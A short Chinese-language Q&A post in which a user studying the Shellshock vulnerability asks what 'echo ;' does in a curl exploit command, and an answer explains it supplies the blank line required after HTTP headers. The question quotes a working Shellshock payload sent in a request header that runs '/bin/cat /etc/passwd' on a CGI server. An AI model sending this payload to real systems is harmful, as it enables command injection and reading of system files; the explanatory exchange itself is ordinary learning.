我正在审查 shellshock 攻击,但不理解这段代码:
curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
echo ;
我不明白的部分是在远程计算机上实际执行的命令中在 /etc/passwd 上回显 Content-Type 和 /bin/cat 之间的功能。
这里的作用是什么echo ;
?
谢谢。
答案1
这就是 HTTP 的构建方式。 HTTP 标头后面必须有一个空行。这就是孤独所echo
产生的结果。
比较这两个:
echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
和:
echo Content-Type: text/html; /bin/cat /etc/passwd
现在应该很明显了echo ;
。 (当然,分号分隔命令。)